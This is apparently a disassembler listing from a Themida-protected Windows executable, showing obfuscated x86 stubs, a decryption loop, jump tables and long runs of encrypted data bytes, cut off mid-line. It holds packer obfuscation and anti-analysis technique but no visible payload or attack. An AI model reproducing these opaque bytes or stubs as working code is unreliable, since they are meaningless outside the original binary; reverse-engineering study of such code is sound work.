5FC35F20h dd 4247C89h, 4244481h, 14h, 0AEC35747h, 319D8589h, 0FF640612h dd 35h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1604h, 0C3554500h, 0E9D466CBh, 12h, 3B824DFAh, 0C5056387h dd 918EAE41h, 0AA145920h, 48B990Dh, 148D0F24h, 0E9000000h dd 0Fh, 0C04D20C5h, 496F0043h, 0DD7A4203h, 89ECFC79h, 1216A985h dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1604h dd 0C3514100h, 0FA25DA4h, 0C8Ah, 0BE666000h, 8A0FB9BAh dd 0 ; --------------------------------------------------------------------------- popa mov large fs:0, esp jmp loc_57FC59 ; --------------------------------------------------------------------------- db 0D4h, 71h, 0F9h dd 0AF12CC09h, 205E8AA3h, 790EE4ACh db 8Fh ; --------------------------------------------------------------------------- loc_57FC59: ; CODE XREF: Themida_:0057FC44j lea eax, [ebp+61592A0h] pusha mov esi, [ebp+61204C1h] sbb bx, 19D3h popa mov [eax+1], esp pusha add ah, 92h mov ah, dl popa jmp loc_57FE7A ; --------------------------------------------------------------------------- push 0 push ebp call sub_57FC86 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57FC86 proc near ; CODE XREF: Themida_:0057FC7Ep arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 19h inc ebp push ebp retn sub_57FC86 endp ; --------------------------------------------------------------------------- dw 0F461h ; --------------------------------------------------------------------------- sub ecx, [esi] setalc push cs pusha mov edi, 1317E858h and cx, 0F22Ch popa mov ebx, ebx call $+5 pop ebp sub ebp, 6159299h mov esp, 12FF9Ch cmp dword ptr [ebp+6120099h], 0 jz short loc_57FCDC mov eax, [ebp+61203A5h] mov byte ptr [eax], 0 mov eax, [ebp+6122411h] mov byte ptr [eax], 0 call dword ptr [ebp+61230FDh] loc_57FCDC: ; CODE XREF: Themida_:0057FCC2j pusha push dword ptr [ebp+6157B08h] lea eax, [ebp+6157B0Ch] push eax lea eax, [ebp+6157D04h] push eax call dword ptr [ebp+6122371h] add esp, 0Ch popa stc push 0 push edi call sub_57FD07 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57FD07 proc near ; CODE XREF: Themida_:0057FCFFp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 15h inc edi push edi retn sub_57FD07 endp ; --------------------------------------------------------------------------- ja short near ptr loc_57FD34+2 mov [ebp+612055Dh], edi lea esi, [ebp+6157D04h] mov [ebp+61234C1h], ebx lea edi, [ebp+6120A31h] push 0 push ebx loc_57FD34: ; CODE XREF: Themida_:0057FD17j call sub_57FD3C and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57FD3C proc near ; CODE XREF: Themida_:loc_57FD34p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Ch inc ebx push ebx retn sub_57FD3C endp ; --------------------------------------------------------------------------- dd 0D875BBC9h, 983BCDF2h, 0B870F30h, 0E9000000h, 6, 93CE38AFh dd 3E807391h, 1B840F00h, 60000000h, 20C5BD01h, 8D8B0612h dd 6122905h, 0E9F8A461h, 0FFFFFFE2h, 15F59589h, 0C02B0612h dd 6E9h, 0FC9A7F00h, 0AAFEAA87h, 0D1815760h, 76229530h dd 0D95895Ah, 61061209h, 7B8FCh, 6A0000h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 140424h, 52420000h, 85C7D7C3h dd 61217B1h, 1, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 18h, 57C35646h, 0A30D648Bh, 68A0Fh, 85310000h, 6121E89h dd 0B58D8DF8h, 0E906124Dh, 12h, 4846F05h, 2DBDDA49h, 0AF79EEh dd 0E1B9301Bh, 0E1FF8F58h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 18h, 0D5C35343h, 0DEF66D92h, 3259509h, 860F0612h dd 1, 245C8BF9h, 0E8550Ch, 5D000000h, 9441ED81h, 838B0615h dd 0B8h, 7B088589h, 858D0615h, 6159292h, 0B88389h, 335D0000h db 0C0h, 0C3h ; --------------------------------------------------------------------------- loc_57FE7A: ; CODE XREF: Themida_:0057FC76j push 0 push ebp call sub_57FE85 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57FE85 proc near ; CODE XREF: Themida_:0057FE7Dp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Bh inc ebp push ebp retn sub_57FE85 endp ; --------------------------------------------------------------------------- db 87h, 9Fh, 0A4h dd 0AB8536F8h, 11E9EFh, 0C7520000h, 0F917FEB9h, 0B843F847h dd 698C174h, 8992FA30h, 12133D8Dh, 39858906h, 6006120Dh dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 94C35747h dd 860D9980h, 29B1BAC1h, 1209B5BDh, 8D950906h, 8D061217h dd 15972285h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1904h, 0C3514100h, 97E0B5F8h, 810FF408h, 6, 5B99501h dd 60500612h, 0EE8h, 48B5D000h, 66AB969Dh, 8ECFCC34h, 0FE2BC20h dd 80h, 89615B00h, 9D892404h, 6122EDDh, 0DE9h, 0D1D8000h dd 7645E2C2h, 81A33CB0h, 0FF644B05h, 35h, 53006A00h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h dd 0D588D5BCh, 6060F860h, 4DBF6661h, 64616151h, 2589h dd 8A0F0000h, 5, 0FC616060h, 0B3858D61h, 6A061597h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h dd 0D0C5C355h, 9F84E8A1h, 160899Bh, 85952B60h, 8B061207h dd 85C661F7h, 6122871h, 55006A4Fh, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1904h, 0C3554500h, 4DC226F6h, 6660B9DAh dd 1751E781h, 2C9DF181h, 0E8613036h, 4, 0FEC8742Ah, 0C860Fh dd 8B0F0000h, 6, 800Fh, 0E9500000h, 9, 7E474F19h, 8A3715C7h dd 24448B5Ah, 0C8D0F04h, 0F000000h, 682h, 0F525000h, 8B585A31h dd 0B1606000h, 61616002h, 24448961h, 50525004h, 850F52h dd 0F000000h, 880F31h, 5A000000h, 0E9310F58h, 0Ah, 0D1D9259Bh dd 0EABFF2E2h, 585A56FDh, 81666058h, 66CB07C8h, 0C21AD381h dd 0E9B5FF61h, 6A061230h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 19042444h, 46000000h, 587FC356h, 0D5D099CDh dd 291DB509h, 0BD290612h, 6120285h, 7F35858Dh, 8D890615h dd 6121775h, 6AD0FFh, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1B0424h, 56460000h, 0F5E74AC3h, 367CDC3Dh, 0D6E9F931h dd 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 17042444h, 45000000h, 0BAE7C355h, 800F7467h, 13h, 0EE9h dd 0ADB25000h, 3D6CDEFh, 4FF1B061h, 0F9CC92Fh, 78Ah, 0BB666000h dd 61FC2DD1h, 0C245C8Bh, 0E855h, 815D0000h, 15972CEDh dd 0B1858B06h, 89061203h, 1230E985h, 39858B06h, 8906121Dh dd 120CC585h, 0ED858B06h, 89061222h, 121DFD85h, 7185C606h dd 61228h, 80C085C7h, 615h, 858D0000h, 61597B3h, 0B88389h dd 335D0000h, 6AC3C0h, 3E850h, 58200000h, 448958C3h, 44810424h dd 160424h, 50400000h, 0BEF5BEC3h, 7E9h, 9F21B300h, 9B3D5A9Eh dd 0D1816660h, 8B607B5Dh, 0CD8531D9h, 6106120Ch, 0FF74BC61h dd 95890012h, 61201E5h, 58F64h, 60000000h, 0BE9h, 0EF1BAD00h dd 8860C9ABh, 8D1F3D76h, 0D98D0160h, 2B061226h, 1226A5BDh dd 1616106h, 12199985h, 4C48306h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 19h, 0DEC35343h, 1E3BDB7Bh, 10E9C8h dd 23920000h, 0CF4608C9h, 0CEBCACD8h, 0B1141E2Fh, 9589E902h dd 61217E1h, 6E961h, 1E000000h, 3E6Eh, 51CE9h, 0EB574A00h dd 0FF695D4Dh, 17797161h, 2D938979h, 42AA9F8Fh, 6AD837A4h dd 7F6F0D75h, 96862488h, 0AF9F3D9Dh, 0BAB957B5h, 9FC0E859h dd 0BCCF75FEh, 57150F6Ah, 42A29B61h, 0B951E93Fh, 83774DB6h dd 56C01619h, 0CDC1897Eh, 0D776B63h, 711CB40Ah, 3A3DA79Bh dd 0CFC7AE4h, 3309B412h, 82D8DB39h, 0F6CC3518h, 40969901h dd 0A604FED6h, 70643AA3h, 2AD0306h, 0E9076991h, 0B822706Fh dd 7F82ECE0h, 0BC8B6B22h, 0D6C664C2h, 49D27DDDh, 0E907B0D8h dd 771BF6Fh, 0EC5DE689h, 6FE907C4h, 3B137DCBh, 29DFE242h dd 16746E32h, 9FDD37Eh, 4E469C9Fh, 9BF1F456h, 38F74E31h dd 0D0908958h, 1D7376D8h, 6E44E785h, 56BAB179h, 0FB65FD53h dd 20CB2923h, 82EC564Ah, 7214E9Fh, 19D06FE9h, 0ECE1B739h dd 30968C84h, 7A92E9C6h, 73D9D81Dh, 30000000h, 0FE01615Ah dd 648CFDA8h, 6B6FE8FBh, 0F77B31Dh, 63B4B715h, 6FE90739h dd 776D43E4h, 2606A711h, 1D7AFB52h, 142D8h, 0FE80000h dd 45AEB11Bh, 7234BBCh, 3C316FE9h, 7C7BD1D4h, 0D842362Eh dd 38A2966Eh, 23897F35h, 567EEF78h, 656FE907h, 595CC0B7h dd 1E016B03h, 5B2A0AC1h, 0BC5FFD67h, 0A84EF14Ah, 0EF598728h dd 695F1D17h, 12AA0003h, 1A0F2074h, 65B32D9Fh, 0E8F1BDECh dd 0E93B2D55h, 0F71F906Fh, 66FE93Bh, 0D36BB9B8h, 0BC261AD0h dd 4E49DB9h, 6088F982h, 6F6FE93Bh, 3C181325h, 1EB68D83h dd 7FE7DCB4h, 9DF7F1E1h, 45B6EF9Eh, 6FE9381Dh, 1E4ADE2Ch dd 989B333Dh, 0DD88EAE2h, 0CB2C9C6Bh, 0E8524039h, 0B8987105h dd 1E1A9DE4h, 52C4D8h, 0F6A0000h, 0F9AFB21Ah, 3F9C9F01h dd 0E4D9A888h, 0F9EEDE7Ch, 0E2D88E91h, 0D748D17Ch, 6FE907AFh dd 230670BEh, 54D6B68Fh, 7325ACBh, 0EB396FE9h, 815DA481h dd 3C84D81Dh, 2A000000h, 0AFB21A0Fh, 9DA000F9h, 0D1A08039h dd 0B91D14DCh, 0AE08321h, 0A46B012h, 0AEB11B0Fh, 0E907305Dh dd 4A2AE16Fh, 164456C8h, 71ACA6F5h, 147E167Ah, 1DEBE037h dd 127D8h, 0FCD0000h, 0FCB2B517h, 23F9A402h, 3635C92Bh dd 0E990655Fh, 1F7659C3h, 0B9B18060h, 2924B957h, 34EE1687h dd 0AFFD6FE9h, 0A2FB6C17h, 0EB69FB59h, 0EAE49A9Dh, 4FEEE8Ch dd 0C83AA3A6h, 9FEA62Bh, 0B4489EA1h, 6FD99B50h, 0FB4DD2FCh dd 9D7D3675h, 1F16D4CEh, 0CA62B8BBh, 0E4423C2Ch, 0D3312BE1h dd 0D944B628h, 8245D5F5h, 60193518h, 2F28FE80h, 938D65CFh dd 6E623D39h, 770F0F7Ah, 648DE4D9h, 26D4DE30h, 2B000001h dd 0E5F5B6B9h, 0AD172B6Ch, 0E0636A71h, 347BC435h, 74C269FBh dd 63C1BB71h, 1DDBD5C5h, 56D6226h, 1114AC02h, 67823BBh dd 0DEE963B0h, 0D12F29A2h, 0F51D8E39h, 475FB86h, 0B3694CB6h dd 3C585BB9h, 69CBC399h, 0FC7E5EFFh, 76BFC78Ah, 66D058A5h dd 8B36948Eh, 0F7D9002h, 70BAC52Ch, 0FB73B5DDh, 0C76C475h dd 0E742998Eh, 3489DE2Fh, 2F000000h, 31DC6F6Ah, 16F9B8C0h dd 36398710h, 0E906BDE5h, 6E4EC7EFh, 170CFFFAh, 0F1F4584Fh dd 0C06B039Bh, 66A6137h, 0F821299Ch, 9AE89016h, 831DFCh dd 6ACB0000h, 0C435E063h, 69FB1BAFh, 772D307Eh, 91811F7Dh dd 0CD363997h, 24ABD344h, 64B275FBh, 236887FAh, 45FE75FBh dd 3E9C9665h, 8D8BFDA0h, 70CC2C4h, 787BE5D9h, 0A3208A22h dd 0FC6E19A8h, 367C1CCDh, 6AF55F27h, 0F999DF9h, 46B74070h dd 6FF0691Eh, 7D4BDF2Dh, 0E9A332C2h, 3F8D6CD6h, 2E8C863Ch dd 3515D42Bh, 85E3DDB3h, 0CB35938Dh, 19C45F4Eh, 3D24CA8h dd 160DBB6Ah, 5FC3BAB2h, 0D06E065Ch, 0E0636A7Ch, 0E2D6AC35h dd 7CCF465h, 85D36FE9h, 2A94EAEDh, 0FC9F5BB7h, 595CAA69h dd 0F7EBA9A3h, 6757F58Dh, 0BB0C0F6Dh, 5DA81E1Fh, 0E1D7AD4Eh dd 0D34FA47Fh, 5AF2C049h, 5AC423C6h, 0A00A945Fh, 56501FFFh dd 706A5AF8h, 63590F12h, 37E052FDh, 0DD8F660Fh, 0FCFF635Ah dd 0C1A40EA6h, 0C738C16Ah, 0AE57229Fh dd 55F660AEh, 4EACA675h, 68C6C0B0h, 14C065h, 0AD1F0000h dd 6FF02BBFh, 0FE6F1A82h, 0AE5763D6h, 0F12D97E5h, 1C0F5995h dd 0FDF7ADB0h, 0EDE69C9Fh, 0DDD48A8Dh, 0CBC07679h, 0B5AA6063h dd 9E944A4Dh, 877F3538h, 786C2225h, 684D0B0Eh, 66B1h, 68241C89h dd 7A6Eh, 68240C89h, 47ADh, 57241489h, 2557568h, 0D7F75F17h dd 0C106E7C1h, 0BD5502EFh, 79441B99h, 6F9C581h, 814D5A2Dh dd 0AC122CEDh, 5DEF29C9h, 545FF989h, 8324148Bh, 0B85004C4h dd 8, 56517605h, 2DD00144h, 44565176h, 8B580889h, 89572414h dd 4C781E7h, 83000000h, 3C8704C7h, 34FF5C24h, 0C4815924h dd 4, 0FCE2B4E9h, 545175FFh, 0D47DBAC5h, 1A0F5E53h, 9CCDB8BDh dd 0C5030615h, 510BE0FFh, 0E19B0FCDh, 0A9832499h, 0A7456321h dd 8E875FCh, 0F5000000h, 0E9C431B1h, 0B55D9E98h, 0E96058F8h dd 8, 1E889823h, 0E1066BFh, 0B5C08161h, 6600006Ah, 0BF85B7BAh dd 0 ; --------------------------------------------------------------------------- jmp loc_5807CA ; --------------------------------------------------------------------------- db 43h, 0BCh, 37h dd 0D5BFE32Bh, 7A12949h, 0A1FF670Bh ; --------------------------------------------------------------------------- std wait loc_5807CA: ; CODE XREF: Themida_:005807B4j ; Themida_:0058081Aj mov esi, [eax+edi] mov edx, 36C6239Fh add esi, 3411D04Ch or dx, 0C9B3h add esi, 7722E578h add edx, 7167FA5Dh add esi, 27397DDCh push edx sub cx, 5D32h pop ecx push esi movsx edx, bx pop dword ptr [eax+edi] mov ebx, 100EE1D1h mov edx, 1D20942Ah sub edi, 4 js loc_580814 mov dx, 46BAh loc_580814: ; CODE XREF: Themida_:0058080Aj cmp edi, 0FFFF95E0h jnz loc_5807CA mov dx, 0F911h jmp loc_580914 ; --------------------------------------------------------------------------- db 23h, 3, 33h dd 55C9757h, 0A188838Ah, 0E0A1D76h, 538FDD7Ah, 2F6D3733h dd 773D557Dh, 7DD57F2Dh, 3D577DD7h, 75DF6DF7h, 7DD773D5h dd 0EDF73D57h, 5375D55Fh, 2F6D3733h, 773D557Dh, 7DD57F2Dh dd 1E577DD7h, 75DF6D17h, 60206020h, 0E0E02020h, 68AC2060h dd 0E4A9F77Bh, 0B2D020A1h, 0B7EDA693h, 0F291B99Dh, 6020ACA3h dd 60206020h, 0E0E02020h, 53752060h, 2F0D0A33h, 6020557Dh dd 60206020h, 362BA728h, 60C950F0h, 0A1EFB6F3h, 0B4E0F796h dd 92B8E3A7h, 0E9B3F471h, 60F76DB9h, 60206020h, 20206020h dd 1ADF6DF7h, 7DD77335h, 0EDF73D57h, 5375D55Fh, 2F6D3733h dd 773D557Dh, 7DD57F2Dh, 3D577DD7h, 75DF6DF7h, 7DD773D5h dd 0EDF73D57h, 5375D55Fh, 2F6D3733h, 0A1E357Dh, 3407000Eh dd 0A0A3D25Dh, 1E59h, 0 ; --------------------------------------------------------------------------- loc_580914: ; CODE XREF: Themida_:00580824j jmp loc_581601 ; --------------------------------------------------------------------------- push 615A198h jmp loc_54EA15 ; --------------------------------------------------------------------------- push 615A2B3h jmp loc_54EA15 ; --------------------------------------------------------------------------- push 615A3BCh jmp loc_54EA15 ; --------------------------------------------------------------------------- push 615A496h jmp loc_54EA15 ; --------------------------------------------------------------------------- push 615A50Ch jmp loc_54EA15 ; --------------------------------------------------------------------------- push 615A5AFh jmp loc_54EA15 ; --------------------------------------------------------------------------- push 615A731h jmp loc_54EA15 ; --------------------------------------------------------------------------- push 615A81Fh jmp loc_54EA15 ; --------------------------------------------------------------------------- push 615A909h jmp loc_54EA15 ; --------------------------------------------------------------------------- push 615A9B1h jmp loc_54EA15 ; --------------------------------------------------------------------------- push 615AA5Ch jmp loc_54EA15 ; --------------------------------------------------------------------------- db 80h dd 9383218Dh, 0A797359Fh, 0BFAF4DAFh, 0D5C563C9h, 6DDA78E0h dd 43ABA012h, 5ABEB5A5h, 73D3CCBCh, 8DEBE5D5h, 1E8FF0EFh dd 75FEA6F6h, 7B51F205h, 0C51B1E86h, 150F1F5Bh, 67FF5D57h dd 172FB64h, 6FE907D9h, 0C8A796E0h, 9827EDD6h, 0C7BE9600h dd 0E9B7DF50h, 78C66FE9h, 8E27DFE4h, 0B951AA24h, 0A30B00B6h dd 92F0EAA0h, 92722B8Fh, 0EDCD8423h, 28C6241Eh, 5E099893h dd 0FB9544EDh, 4075569h, 79A1129Bh, 8075FB73h, 0F6F0C832h dd 6F7BED98h, 43F01CF2h, 57EF5149h, 857F6FEDh, 0A6D32427h dd 5875FBA5h, 93BB2CB5h, 0A175FBA5h, 0EA4043ADh, 92339DEBh dd 8BE9E3B2h, 0A503FDEDh, 81F2ECA2h, 0FBA5E810h, 11A9F775h dd 5939F20Eh, 9432908Ah, 3019489Fh, 5938FDEh, 0F350000h dd 0FEB4B715h, 72FBA604h, 0E907D901h, 0E792E06Fh, 0E9074E76h dd 0A50F5D6Fh, 9128427h, 0AB8540FEh, 6C9405B0h, 736FE97Eh dd 4F3EBB25h, 8E9709B4h, 0F691BD51h, 60D15CC6h, 69FB48A3h dd 106164B2h, 75FB37E4h, 8F63431Ch, 0DE2FAF38h, 5C7Fh dd 0D35C2500h, 0A0A305FDh, 78FB74Ah, 509E6FE9h, 7F6269E6h dd 6BD1C785h, 777A1268h, 0B1C78D21h, 7A1BCF78h, 686137E2h dd 45AF0508h, 0D24849BAh, 0B30169FBh, 0DD335FB0h, 524975FBh dd 3E35EBEEh, 2BBD7DAh, 4DDB322h, 2B30A224h, 8F8E62E7h dd 156C49B3h, 5CDE2FCEh, 0E0h, 62D35C02h, 6FE9073Ah, 0B189F341h dd 0ED5659B7h, 7CBF364h, 84D26FE9h, 0E54D421Ah, 74322CE2h dd 58C2B680h, 0BC2528C0h, 79AC233h, 53A16FE9h, 0B91711E9h dd 0EF0D9C0Eh, 4F40263Ch, 0BFDC67E5h, 556FE99Ah, 6F5FFD5Bh dd 8A911B75h, 91050CEh, 7F135260h, 7F17756Ch, 972A217Ch dd 0AED27BECh, 8DDB69FBh, 0C0E859E2h, 0CF75FBAFh, 4991781h dd 5ECF7A09h, 7010512Fh, 6F232092h, 0E448B15Ah, 7F519B7Ah dd 240728F6h, 19EF9A32h, 2E1EBC24h, 0BDDFD139h, 8A796F57h dd 98D02A7h, 0B4A70000h, 0C6BAAA48h, 0D6CEBE5Ch, 0F0E6D674h dd 7FCEC8Ah, 3594019Fh, 0CC6AD2C7h, 0E381E5DCh, 0FC9AFAF3h dd 16B4120Ch, 1D45B617h, 2C75FEA8h, 1A0FC719h, 2A2414B2h dd 198B2ECCh, 0C841380Ah, 0D5117B4Dh, 5CCD636Ah, 6FE90734h dd 0C00589A6h, 302F2906h, 169F4AE2h, 6B93048Dh, 726FEA04h dd 4699124h, 22706FEAh, 0E4445B8h, 0B70569FCh, 0F13763B4h dd 966F75FBh, 648BE2B6h, 0E80DE30h, 3DC5A494h, 0C7006ABCh dd 0CAh, 0B7150F6Dh, 8E09FEB4h, 0E907F51Dh, 22B6046Fh dd 0BEF18FB8h, 0A651E90Dh, 7D75D9D0h, 0D5B82286h, 0E9D56784h dd 65C3BD6Fh, 7FDDD7C7h, 972A217Ch, 0D9D27BECh, 592F69FBh dd 44A49D63h, 0E953A9ACh, 0FE685C0Ah, 0ECE5BB66h, 0FA4228Ch dd 69DA851Ch, 70107F4Bh, 0E5494016h, 43228CE2h, 7F744AF5h dd 595CC0B7h, 0B34BA9A3h, 0A49A701Bh, 9BB0EA42h, 98FDEFh dd 0BF3DA7FDh, 0FA22931Ch, 16FEF40h, 7C7149B3h, 18682214h dd 0E0C37970h, 8723Bh, 63CFC200h, 77E1D5C5h, 8FF1E9D9h dd 0A50B01F1h, 0BA221707h, 0E250AF1Ch, 0F7E785EDh, 0EFE9C00h dd 2717B515h, 3231CF2Dh, 0A93860D1h, 344775FEh, 0B21A0FE2h dd 0CC2A2414h, 150FDA2Eh, 70B33A4h, 0C8126FE9h, 2D3EAA0Fh dd 28C058CAh, 66820B7Dh, 620D35B9h, 655F15F8h, 62D35C07h dd 6FE9DE3Ah, 0B89F341h, 64677CB9h, 665C32DDh, 3DA7FD00h dd 5A441B2h, 277569FCh, 7288DA2Dh, 25FB9734h, 5FC8CB2Dh dd 0C392C6EEh, 0EF87D568h, 7E050885h, 0B1D94AD3h, 0B868C392h dd 0EC75006Ah, 4FB92116h, 0D5C1C7DCh, 0ECE4BA62h, 0C731878Ah dd 3C979AE8h, 9607B231h, 68C5353Dh, 527AEB4Ch, 5968C6CBh dd 3FC8730Bh, 0D597A6CDh, 4ADDD2AAh, 68C60E22h, 1F857B29h dd 362EC61Ch, 0E772DC3Eh, 1BB91711h, 567EEF78h, 6C68C60Eh dd 0C6100F77h, 0B8BB7A2h, 3AA43CE5h, 0A20E6862h, 7EB6DBFCh dd 295749E1h, 0EE8098AEh, 769660Bh, 0D8CB0000h, 0EADECE6Ch dd 0FAF2E280h, 140AFA98h, 2B2010AEh, 59B825C3h, 0F08EF6EBh dd 7A50900h, 20BE1E17h, 3AD83630h, 4169DA3Bh, 4875FEAAh dd 150FE335h, 5259B4B7h, 7234BBCh, 0DC2A6FE9h, 0E7289944h dd 2669FB18h, 88207E78h, 4CBE47EAh, 341A6F63h, 0A6CE61B5h dd 0B575FB70h, 8D80FD67h, 0BEDA4BF6h, 4D700F01h, 847E54FFh dd 0FE58826h, 0F9AFB21Ah, 459B9E02h, 716B43ADh, 0B6B51013h dd 0D7A3A02Fh, 0D76F09C4h, 6D84BB2Ch, 3B896A04h, 66C0BA90h dd 0C86A6933h, 50308117h, 87EBCF63h, 7666049Ch, 729A0B7Ch dd 7975FB59h, 597FA718h, 408E75FBh, 8F6510A8h, 0DE343795h dd 37369174h, 0CF9001ACh, 52700D68h, 2023837Ch, 338160CAh dd 760F3D41h, 46EBCE79h, 68Fh, 0A846B2A5h, 0BC5AC4B8h dd 0D472D4CCh, 0EA88EEE4h, 0FF9D05FAh, 0D0C53792h, 0E3DACA68h dd 0F8F1E17Fh, 100AFA98h, 0B41514B2h, 0FEAB1B43h, 0BD0F2275h dd 2E8C865Ch, 0EE6BD52Bh, 0ED368FFh, 0E96CBC8Ah, 0DBD0A651h dd 0D7E0973h, 69FD23CEh, 3006B1FFh, 4A3AD836h, 39999250h dd 48439EA1h, 0F8FB6559h, 0EE5F0AA2h, 70102DADh, 0D89C8EDCh dd 1F796F46h, 619973Ch, 281B0000h, 3A2E1EBCh, 4A4232D0h dd 645A4AE8h, 7B7060FEh, 0A9087513h, 40DE463Bh, 57F55950h dd 700E6E67h, 8A288680h, 91B92A8Bh, 9875FEACh, 865C3385h dd 6ED8CC8Eh, 137D156Bh, 0B2AC9796h, 0FF97FFF4h, 2F4BBC67h dd 0DE69FC98h, 150FE590h, 2F2919B7h, 5B5026D1h, 4BA689F3h dd 8D16C140h, 0A143EA1Bh, 0ED96FAE5h, 0F0319C61h, 0EF62CC64h dd 7011CEB8h, 63EC97E5h, 3B33958Dh, 9B73DD47h, 6E2A47A1h dd 8017D361h, 605A4AE8h, 0A9A4FF02h, 3DFE6F1Ah, 4C69FBE0h dd 78D60CFEh, 0A2857363h, 576FDh, 5FCBBE00h, 73DDD1C1h dd 8BEDE5D5h, 0A107FDEDh, 0B61E1303h, 0DE4CAB18h, 0F3E381E9h dd 0AFA98FCh, 2313B111h, 2E2DCB29h, 0AC345CCDh, 283B75FEh dd 0B7150FD6h, 0A604FEB4h, 9B8F6508h, 434AC731h, 1046A60h dd 0F76813ABh, 69FB1E3Ah, 0A9FAFD4Bh, 75FB227Dh, 28FCDCB5h dd 0DE2F99D1h, 0A4CC3DC6h, 0AB75FB1Ah, 98FEEF61h, 64FC7949h dd 5DC1FAh, 42180000h, 0CA3BE64Ch, 75FB63A2h, 0B5F15BA9h dd 3A62D35Ch, 416FE907h, 10C89F3h, 784ED782h, 43B6207Eh dd 69FB1142h, 0FCD27DCBh, 4AA0A303h, 80ACFDE0h, 0B875FB1Eh dd 0D42BFFDFh, 0C9DE2F91h, 79BF9F3h, 52D647A1h, 74AD17CAh dd 10Bh, 71259CBh, 1376C049h, 60B6B91Bh, 5C225EC8h, 2A2D8D86h dd 81E5DCD4h, 0E6BE287Eh, 0D03A2EECh, 0DCDF77CDh, 70693126h dd 0BF757810h, 4ABC67C5h, 4ABE6C8Fh, 0B295FFC7h, 6A402FCh dd 0E9205E7Bh, 5EBCB66Fh, 85E3DDB3h, 3A342C82h, 4F472DCh dd 4EA9AC0Ah, 9019C45Fh, 0E91FF71Fh, 34A5066Fh, 6FE91F0Ch dd 0C32DC513h, 0E2D9AF38h, 1FD2FA6Bh, 8BD96FE9h, 433AF0F3h dd 0EE86DCDFh, 3D581184h, 338169FBh, 760D0095h, 0A9D142CBh dd 0B075FB41h, 0FC6DF862h, 700FE366h, 0DAB05BA9h, 3CDF7DE5h dd 90C6E66h, 0F99642B7h, 38D015A3h, 9D01F6CEh, 0E1CE6F9Dh dd 0AFC94B7h, 796FE7CEh, 0F4F19679h, 40000003h, 5343E14Dh dd 6757F55Fh, 7F6F0D6Fh, 95852389h, 2D9A38A0h, 36B60D2h dd 1A7E7565h, 33938C7Ch, 4DABA595h, 0DE4FB0AFh, 75FEAEB6h dd 0F60B2C5h, 0F65C521Ah, 0DF81B662h, 0E078D8CFh, 26A5F35h dd 302A1A98h, 6AE034D2h, 5F35E063h, 0E8590468h, 6FE907C0h dd 8C1781CFh, 0FB121A1Bh, 0E2E53369h, 0FB1E6591h, 68DA9D75h dd 0EB5CB8C6h, 75FB6BC3h, 6BE87CCAh, 13B41EBBh, 0E2085F33h dd 0AF4FDE2Fh, 0F5000000h, 4EACEA5Ch, 49E81EDDh, 0AF0D07DFh dd 0D2382E04h, 0DACF8568h, 0B7BA1812h, 10706961h, 1C1FB70Dh dd 83E5DDB3h, 4DC02A80h, 6FE91130h, 133BAC35h, 1A6FE916h dd 908A62CCh, 0AAA49432h, 0FFEE494Ch, 8F48B964h, 0BE69FB33h dd 4E3DD270h, 609708B3h, 6D700FDBh, 0A99E741Fh, 0BEB3A341h dd 0CB726456h, 0E6C9796Fh, 30641h, 0CF3B2E00h, 0E34D4131h dd 0FB5D5545h, 11776D5Dh, 268E8373h, 4EBC1B88h, 6353F159h dd 7A6A086Ch, 93832181h, 9E9D3B99h, 0AFA4CC3Dh, 98AB75FEh dd 0B21A0F46h, 0D33D3107h, 92107AD0h, 0AC4AA8A2h, 0D93B3309h dd 150F336Fh, 0C24BB4B7h, 0E9072951h, 0D943376Fh, 4A228CDAh dd 369C9250h, 85AE009Eh, 1FCA5954h, 0C7067CADh, 0DDD76BD1h dd 0A12C9608h, 0FC039330h, 89348269h, 0DE067700h, 0ED75FC04h dd 4E40C9Fh, 9DEB75FCh, 32065933h, 0A5D1EF6Eh, 69019E33h dd 7F7C1070h, 7EA61743h, 8D1210EDh, 0BAAFA73Fh, 8FF94F52h dd 0DD881B12h, 1FE5E254h, 0A70DFE94h, 0DBE1CA3Dh, 0BA680C22h dd 85E61C1h, 1B126D70h, 136CDD88h, 7A0E3257h, 0B1AB812Ch dd 8912B553h, 9A9F018h, 47B1FF12h, 2517756Fh, 0D755AFA7h dd 1CF89D80h, 18000002h, 2B1BB925h, 3F2FCD37h, 5747E547h dd 6D5DFB61h, 5721078h, 0DB4338AAh, 0F2564D3Dh, 0B6B6454h dd 25837D6Dh, 0B6278887h, 75FEB08Eh, 0F388A9Dh, 360CB715h dd 24867E3Ch, 0C933CB21h, 1808BE6h, 2678E556h, 3B8969FBh dd 2F24FA9Dh, 6235DC7h, 0E5DFC2C9h, 9A2E8487h, 0E9FF3346h dd 57029A1Fh, 0E2949E6h, 100AB870h, 996F1AB2h, 0E53B3EA2h dd 2E4EA17Bh, 3FD3683Ah, 990AB54Ch, 2689F284h, 0F95457A5h dd 0B21A0FF2h, 16C159AFh, 99064CA5h, 0C46FBD24h, 0F896F4EEh dd 0BEB00E08h, 0BCEC5DFCh, 74872C0Fh, 0C0000001h, 0D3C361CDh dd 0E7D775DFh, 0FFEF8DEFh, 1505A309h, 0AD1AB820h, 83EBE052h dd 